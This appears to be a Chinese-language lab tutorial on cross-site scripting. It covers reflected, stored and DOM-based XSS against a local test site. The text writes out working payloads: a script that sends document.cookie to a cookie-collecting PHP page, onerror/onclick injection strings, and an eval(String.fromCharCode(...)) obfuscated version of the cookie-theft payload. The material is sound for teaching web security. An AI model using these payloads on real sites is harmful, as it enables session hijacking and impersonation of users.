XSS跨站脚本攻击原理与实践

news2025/7/18 9:40:19

目录

  • 预备知识
  • 实验目的
  • 实验环境
  • 实验步骤一
  • 实验步骤二
  • 实验步骤三

预备知识

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。
XSS的分类:
反射型XSS
存储型XSS
基于DOM的XSS
HTML基础知识:http://www.w3school.com.cn/html/
JavaScript基础知识:http://www.w3school.com.cn/js/

实验目的

1.能够理解XSS产生的原理。
2.了解XSS的分类。
3.掌握XSS盗取COOKIE的方法。

实验环境

一台windows7、安装wampserver、火狐浏览器、Chrome浏览器。

实验步骤一

XSS攻击,指通过在页面注入恶意JAVASCRIPT代码,从而在用户浏览被注入恶意代码的页面时,控制用户的浏览器行为的一种攻击。
XSS一般分为3类:
1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。
2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。
3.DOM型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。
我们先来看下反射型XSS,本步骤的页面代码如下:
在这里插入图片描述
源码保存在C:\wamp\www\xss目录下。
功能很简单:检测用户是否通过GET方法传参,如果传了msg参数,则直接输出,否则什么都不干,需要注意的是,这个表单使用的传参方法为GET方法。
正常情况下,用户只会输入一些普通字符,也就是数字、字母或者中文,所以,不会有什么安全问题。
首先打开本次实验的页面,xss.com/xss-ref.php,随便输入一些普通字符测试,我输入的内容为“test测试”。
在这里插入图片描述
然后点击submit,提交数据,会直接输出我们输入的内容,注意这里使用的是GET方法传参。
在这里插入图片描述
但是恶意的用户就会尝试输入一些特殊字符,比如“<>'"”等,甚至直接尝试使用<script>标签来往页面插入一段JavaScript,来测试后台是否有过滤。如果服务端接收了用户的输入后,对一些特殊字符没有进行html实体编码,那么用户输入的字符就会被浏览器当成html代码解析。
我们输入<script>alert(‘xss’)</script>测试,测试XSS最常用的就是<script>alert(‘xss’)</script>,如果页面存在XSS,那么就会弹出“XSS”这个字符。
在这里插入图片描述
然后点击submit,弹出了XSS,说明我们输入的数据被浏览器当成指令执行了!
在这里插入图片描述
点击确定,发现您输入的内容后面没有任何显示,这是为什么?在页面鼠标右击,选择查看页面源码,可以看到我们输入的内容确实输出了。
在这里插入图片描述
为什么没有显示在页面上来呢?
因为我们输入的数据被当成了代码来执行,如何确定我们输入的数据是否被浏览器当成代码解析了呢?一个简单的办法就是查看我们输入的标签的字体的颜色,如果是深紫色,则代表它被当成了代码来解析。
像这种获取了用户的输入后,直接就在页面输出,没有经过数据库的XSS,就称为反射型XSS,他只是简单地把用户输入的数据“反射”了。所以,要触发这种XSS,用户必须访问特定的链接。而且代码会直接显示在浏览器地址栏,很明显,所以反射型XSS比较容易发现,而且现在的浏览器一般都带有XSS过滤器。比如Chrome。
我们可以输入其他的JS代码,来让浏览器做其他的事,比如弹出用户cookie,在输入框中输入<script>alert(document.cookie)</script>,其中document.cookie可以用来获取用户的cookie。
提交后发现弹出窗口中内容为空白,为什么呢?
在这里插入图片描述
因为访问的这个页面它没有给我们设置cookie。
修改该页面源码,当访问页面的时候,设置一下cookie,并启用session。
在这里插入图片描述
在访问该页面的时候,就会设置一个cookie,名称为username,值为xssuser,还会产生一个session。session同样用来识别用户身份,只是session是服务端维护,不是保存在客户端,我们不需要知道session的值具体含义。保存后再次访问该页面,重复上面的步骤,就会弹出新设置的cookie。
在这里插入图片描述
我们都知道HTTP是无状态协议,它依靠cookie来识别用户身份,如果我们通过JS来获取了用户的cookie后,我们就可以冒充他人的身份,比如:如果某银行网站存在XSS,你通过XSS获取了别人的cookie后,你可以把cookie替换成别人的cookie来冒充其他人,然后你就可以自由转账了。注:事实上,银行的网站一般都设置了HttpOnly,JS脚本无法读取到cookie信息,而且银行转账一般需要短信验证码,特别是大额转账,所以即使你找到XSS,想要利用也很难。
上面的语句只能弹出用户的cookie,我们如何通过XSS得到用户的cookie呢?毕竟如果只是弹出的话,只有访问该页面的人才能看到,而我们是看不到的。
我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。页面写好保存在c:\wamp\www\xss\的目录下,recv_cookies.php这个文件就是用来接收cookie并保存的,源码如下:
在这里插入图片描述
它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面。
接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为:

<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>

这里为什么要进行URL编码呢?因为为了防止cookie中有特殊字字符,如#等导致cookie不全,比如:如果cookie为username=test#!@3,构造的请求地址为http://xss.com/recv_cookies.php?msg=username=test#!@3,但是#会被当作锚点来解释,导致后面的#!@3全部被忽略,浏览器最终请求的url为http://xss.com/recv_cookies.php?msg=username=test,所以导致页面接收到的cookie不完整。
在输入框输入上面构造的语句,然后点击submit,然后进入C:\wamp\www\xss目录,打开cookies.txt,就可以看到当前访问http://xss.com/xss-ref.php这个页面的人的cookie。
在这里插入图片描述
这样就拿到了用户的cookie,拿到cookie后,我们就可以替换cookie来冒充其他人的身份,来做一些恶意操作。

实验步骤二

反射型XSS在利用的时候要求必须访问特定的URL,这在一定程度上有着局限性。但是,存储型XSS却没有这种弊端,存储型XSS的利用代码被保存在数据库中,在用户访问页面的时候,数据从数据库中取出来。所以用户只要访问了存在XSS的页面就会触发恶意代码,而不需要像反射型XSS那样,必须点击构造好的URL才能触发。
存储型XSS一般发生在留言板等地方,因为它需要把用户输入的内容保存到数据库,用户向服务器提交的数据只是一次性的,如果不保存到数据库,数据就会丢失。
本步骤实验用的页面地址为xss.com/xss-stor.php,源码保存在c:\wamp\www\xss目录下,它是模仿的一个留言板,关键代码如下:
在这里插入图片描述
代码写了注释,有不懂的可以打开源文件查看注释。
很明显可以看出来页面没有对“<>'"”等特殊字符进行实体编码。mysql_escape_string函数仅用来转义特殊字符而非对字符进行实体编码。
访问本步骤的测试页面:xss.com/xss-stor.php。
在这里插入图片描述
随便选择一个输入框,输入xss的测试代码<script>alert(‘xss’)</script>,一般选择留言的地方测试,因为相对来说,允许我们输入的长度限制比较小,有的限制昵称的长度只能为32字符等。我这里也选择留言输入框测试,如下图:
在这里插入图片描述
点击留言后,弹出了xss,我们输入的数据被浏览器当成代码执行了!
在这里插入图片描述
点击确定后,可以看到留言内容出显示空白。
在这里插入图片描述
查看页面源码,可以看到,空白的地方实际上是我们输入的留言内容,只是被当成了代码执行了,所以没有显示出来。
在这里插入图片描述
仔细观察url,发现没有参数,但是由于代码保存在数据库,每次访问该页面的时候,都会从数据库中查询出来,所以,用户只要访问该页面,该代码就会被执行。
我们模仿其他用户访问该页面,打开Chrome,访问该页面,因为HTTP是无状态协议,它依靠cookie来识别用户身份,但是不同浏览器之间cookie不共享,所以2个浏览器可以模拟2个用户的身份,因为2个浏览器访问同一个页面的话,产生的cookie不同,如果想要查看2个浏览器的cookie是否相同,可以在想要查看cookie的页面打开开发者工具,然后在控制台输入document.cookie就可以看到当前网站的cookie。
在这里插入图片描述
发现刚访问就直接弹窗,而我们根本就没有往页面写任何东西!这就是存储型XSS。想想前面的反射型XSS,相比反射型XSS必须在url中带上攻击代码,存储型XSS是不是更实用呢?
我们可以像反射型XSS一样,构造一个浏览器会自动加载的请求,比如img的src属性,然后在src属性的值里带上cookie,这样,当浏览器请求这个url的时候,就会在对方的web服务器上留下日志,而cookie保存在web日志中,当然也可以像实验步骤一一样用一个页面接收cookie更好。
存储型XSS相对反射型XSS来说,它多了数据库的参与,而反射型XSS没有参与。

实验步骤三

除了反射型XSS、存储型XSS,还有一种XSS类型,那就是基于DOM的XSS,它通过修改页面的DOM节点形成的XSS,所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析。
查看本次实验的源码,源码文件为xss-dom.php,保存在c:\wamp\www\xss目录下。
在这里插入图片描述
在这里,测试按钮被点击后调用了xssDom函数,在这个函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM Based XSS。
在这里插入图片描述
如果你直接查看页面源码,你会发现id为show的div中没有数据。
在这里插入图片描述
这种情况下就需要审查元素了。在测试页面鼠标右击,选择查看元素。
在这里插入图片描述
点击开发者工具面板左上角的选择图标,用来选择页面的一个元素。点击该按钮后,在页面点击我们想要查看的元素,然后在下方就会显示选择区域的源码。
在这里插入图片描述
发现我们输入的标签在双引号中间,可以看出很明显的语法错误。
在这里插入图片描述
那么如何构造利用代码呢?我们先根据源码来构造利用代码。
重点关注下面的语句。
在这里插入图片描述
我们要让他没有语法错误,就需要构造语句闭合一些标签,所以,我们首先需要一个单引号来闭合a标签的href属性。然后一个“>”来闭合a标签的“<”。这样构造以后,就变成了“<a href=‘’>在这里构造利用代码’>xssDom</a>”。所以我们可以构造如下语句:

'><script>alert('xss');</script>

输入后点击测试,发现并没有弹出提示窗。同样审查元素。
在这里插入图片描述
这里构造的语句没有错误,为什么还是没有执行?
w3c规定innerHTML进来的script标签内的脚本代码无法执行。
直接插入script无法执行,但是我们可以利用事件来触发,比如:onerror,onclick等。
构造如下数据:

' onclick=alert(/xss/) //

此时页面代码就变成了:

<a href='' onclick=alert(/xss/) //'>xssDom</a>

在这里插入图片描述
此时点击这个超链接就可以触发alert函数。
还有其他构造方法。例如我们闭合a标签,然后引入另外一个标签,比如img标签,利用img标签在加载src的时候,如果出错会触发onerror函数,我们就可以做到自动执行脚本代码而不需要交互。尝试输入如下数据:

'><img src=123 onerror=alert(/xss/) />

点击提交后,页面立即弹窗。
在这里插入图片描述
页面在尝试加载路径为123的图片时,无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。
如果想要获取用户cookie,可以像步骤一一样,在onerror事件中,插入JS代码,通过JS网页面插入节点等。
我们肯定不能直接通过插入<script>new Image().src=“http://xss.com/recv_cookies.php?msg=”+encodeURI(document.cookie);</script>,原因前面已经解释过,我们可以借助js的eval函数来执行,在测试的时候,由于不能包含空格,所以我们要构造一个没有空格的payload,可以用编码等方式来绕过,比如利用String.fromCharCode函数,该函数会把数字转成该ASCII码表中该数字对应的字符,比如String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)的返回值就是alert(/xss/),此时再用eval执行alert(/xss/)就会把alert(/xss/)当JS代码执行。如果要获取cookie,我们可以把new Image().src=“http://xss.com/recv_cookies.php?msg=”+encodeURI(document.cookie)这个代码转换成他们对应的ascii码,然后通过String.fromCharCode还原成字符串,在firefox的插件hackbar可以把字符串转成String.fromCharCode格式的,步骤如下:
右击下图中标记的地方。
在这里插入图片描述
点击hackbar。
在这里插入图片描述
此时已启用hackbar。
在这里插入图片描述
在下方的输入框中输入需要转换的字符串,然后选中,如下图:
在这里插入图片描述
依次点击XSS,String.fromCharCode():
在这里插入图片描述
点击后,转换完成。
在这里插入图片描述
然后全选复制,由于不能有空格,所以应该把转换后的字符串中的所有空格删除掉,得到:

String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)

然后利用eval执行该代码,所以,最终的构造语句是:

'><img src="123" onerror=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) />

首先进入c:\wamp\www\xss目录下,把cookies.txt删除。输入构造的语句后,点击测试后。
然后去c:\wamp\www\xss目录下,可以看到cookies.txt又生成了。
在这里插入图片描述
查看内容可能是空的,是因为当前页面没有启用cookie。如果cookies.txt中得到了cookie也正常,因为前面的页面设置了cookie,如果你没有把浏览器历史记录、cookie清除,应该会有cookie。要测试是没有成功获取到cookie还是没设置cookie导致的该文件内容为空,可以在浏览器控制台执行document.cookie,看是否有输出。
在这里插入图片描述
如上图,表示已经设置了cookie。
通过本步骤可知,DOM Based XSS无需与服务器交互即可完成XSS。我们输入的数据通过浏览器DOM解析后直接显示在页面,与反射型XSS、存储型XSS需要与服务器交互明显不同。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/8122.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于STM32结合CubeMX学习Free-RT-OS的源码之事件集(event-group)

关于cubeMX配置及事件集概述 用cubemx使用事件集时只有使用了cmisis v2 才能使用事件集这个数据结构。 创建一个事件集的高8位不用&#xff0c;低24位用做标记&#xff08;事件位)。每一个位可相当于裸机开发时的flag&#xff0c;同时&#xff0c;每一位都可以当做二值信号量…

FPGA实现千兆/百兆自适应以太网UDP传输

0、前言 笔者最近在项目中需要使用到ZYNQ中PL端做以太网UDP传输并且需要支持100M/1000M自适应切换。使用的PHY型号为RTL8211。以下分享的主要为利用已有的1000M协议栈修改为100M并且实现二者自适应切换&#xff0c;IP核主要实现以下功能 1、实现100M/1000M自适应 2、回环测试…

基于微信小程序的青少年素质教育培训系统设计与实现-计算机毕业设计源码+LW文档

小程序开发说明 开发语言&#xff1a;Java 框架&#xff1a;ssm JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Mav…

高性能计算和并行计算的关系

高性能计算 百度百科的定义为&#xff1a; 高性能计算(High performance computing&#xff0c; 缩写HPC) 指通常使用很多处理器&#xff08;作为单个机器的一部分&#xff09;或者某一集群中组织的几台计算机&#xff08;作为单个计 算资源操作&#xff09;的计算系统和环境…

windows环境CLion调试SRS流媒体服务器源码

环境介绍&#xff1a; SRS支持JetBrains的CLion&#xff0c;它是基于cmake编译的&#xff0c;在windows环境使用CLion&#xff0c;通过SSH远程调试SRS&#xff0c;调试环境安装在CentOS 7虚拟机上。 资源下载&#xff1a; CLion官网下载地址&#xff1a;https://www.jetbrains.…

构造函数与原型对象

一、构造函数与原型对象 1、构造函数 作用&#xff1a;主要用于创建对象&#xff0c;初始化对象的属性 1、ES5中创建构造函数然后创建对象 function Student(id,name){this.id id,this.name name }let s1 new Student(001,小王) 2、ES6中创建类&#xff0c;给类单独定义…

Java反应式编程(3)

您好&#xff0c;我是湘王&#xff0c;这是我的CSDN博客&#xff0c;欢迎您来&#xff0c;欢迎您再来&#xff5e; 在前面的文章中已经把vert.x框架给跑起来了&#xff0c;但是实际开发中服务端是需要响应客户端的请求的&#xff0c;所以肯定需要增加接口&#xff0c;但是该怎么…

【华为OD机试真题 python】 绘图机器【2022 Q4 | 100分】

■ 题目描述 绘图机器的绘图笔初始位置在原点(0,0)机器启动后按照以下规则来进行绘制直线。 1. 尝试沿着横线坐标正向绘制直线直到给定的终点E 2. 期间可以通过指令在纵坐标轴方向进行偏移&#xff0c;offsetY为正数表示正向偏移,为负数表示负向偏移 给定的横坐标终点值E 以…

Timesnet: Temporal 2d-variation modeling for general time series analysis

Timesnet: Temporal 2d-variation modeling for general time series analysis (ICLR 2022) 时间序列分析在天气预报、异常检测、行为识别等领域有着广泛的应用。针对时序变化建模这一广泛分析任务的共同关键问题进行了研究。之前的方法试图直接从一维时间序列中实现这一点,由…

Java线程池如何实现线程复用

线程池把线程和任务进行解耦&#xff0c;线程归线程&#xff0c;任务归任务&#xff0c;摆脱了通过 Thread 创建线程时“一个线程必须对应一个任务”的限制。在线程池中&#xff0c;同一个线程可以从 BlockingQueue 中不断提取新任务来执行&#xff0c;其核心原理在于线程池对 …

学生动漫网页设计模板下载你的名字 大学生HTML网页制作作品 简单漫画网页设计成品 dreamweaver学生网站模板

Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业&#xff0c;茶文化网站 | 中华传统文化题材 | 京剧文化水墨风书画 | 中国民间年画文化艺术网站 | HTML期末大学生网页设计作业 HTML&#xff1a;结构 CSS&#xff1a;样式 在操作…

图像增强之灰度变换和直方图均衡化(附代码python+opencv)

一、图像增强的概念和分类 概念&#xff1a;图像增强是采用一系列技术去改善图像的视觉效果&#xff0c;或将图像转换成一种更适合于人或机器进行分析和处理的形式。例如采用一系列技术有选择地突出某些感兴趣的信息&#xff0c;同时抑制一些不需要的信息&#xff0c;提高图像的…

(JVM)双亲委派机制

Java 虚拟机对 class 文件采用的是按需加载的方式&#xff0c;也就是说当需要使用该类时才会将它的 class 文件加载到内存生成 class 对象。而且加载某个类的 class 文件时&#xff0c;Java 虚拟机采用的是双亲委派模式&#xff0c;即把请求交由父类处理&#xff0c;它是一种任…

文档基础模型引领文档智能走向多模态大一统

编者按&#xff1a;自2019年以来&#xff0c;微软亚洲研究院在文档智能领域进行了诸多探索&#xff0c;开发出一系列多模态任务的文档基础模型 (Document Foundation Model)&#xff0c;包括 LayoutLM (v1、v2、v3) 、LayoutXLM、MarkupLM 等。这些模型在诸如表单、收据、发票、…

MySQL中find_in_set函数的使用

1.语法 FIND_IN_SET(str,strlist) &#xff08;1&#xff09;str 要查询的字符串 &#xff08;2&#xff09;strlist 字段名&#xff1b; 参数以”,”分隔 如 (1,2,6,8) 查询字段(strlist)中包含(str)的结果&#xff0c;返回结果为null或记录 假如字符串str在由N个子链组成的…

5G无线技术基础自学系列 | 物理上行控制信道

素材来源&#xff1a;《5G无线网络优化实践》 一边学习一边整理内容&#xff0c;并与大家分享&#xff0c;侵权即删&#xff0c;谢谢支持&#xff01; 附上汇总贴&#xff1a;5G无线技术基础自学系列 | 汇总_COCOgsta的博客-CSDN博客 PUCCH用于传输上行控制信息&#xff08;U…

岭回归、Lasso回归和弹性网络

减少过拟合的一个好方法是对模型进行正则化&#xff08;即约束模型&#xff09;&#xff1a;它拥有的自由度越少&#xff0c;则过拟合数据的难度就越大。正则化多项式模型的一种简单方法是减少多项式的次数。 对于线性模型&#xff0c;正则化通常是通过约束模型的权重来实现的。…

记一次生产中使用CompletableFuture遇到的坑

为什么使用CompletableFuture 业务功能描述&#xff1a;有一个功能是需要调用基础平台接口组装我们需要的数据&#xff0c;在这个功能里面我们要调用多次基础平台的接口&#xff0c;我们的入参是一个id&#xff0c;但是这个id是一个集合。我们都是使用RPC调用&#xff0c;一般…

【22年11月12日更新】搭建宝塔面板、青龙面板“京东代挂”

本文章仅供学习 一、青龙面板是什么&#xff1f; 青龙面板可以运行某东脚本&#xff0c;你在某宝、某度等各个渠道搜索“京东代挂”&#xff0c;都是用青龙面板。 二、搭建宝塔面板 1.更新 yum 包 首先下载finalshell通过账号密码连接服务器&#xff0c;然后输入 yum up…

零基础程序员想要学好.Net,跟着这7个步骤学习就可以了

作为一个初学者程序员&#xff0c;很喜欢问的一个问题就是&#xff1a;零基础如何自学编程&#xff1f;在后台也有很多读者私信我&#xff0c;问我这个问题&#xff0c;其实这个问题比较大&#xff0c;不是一两句就可以说清楚的。 所以&#xff0c;今天结合我个人的经历&#x…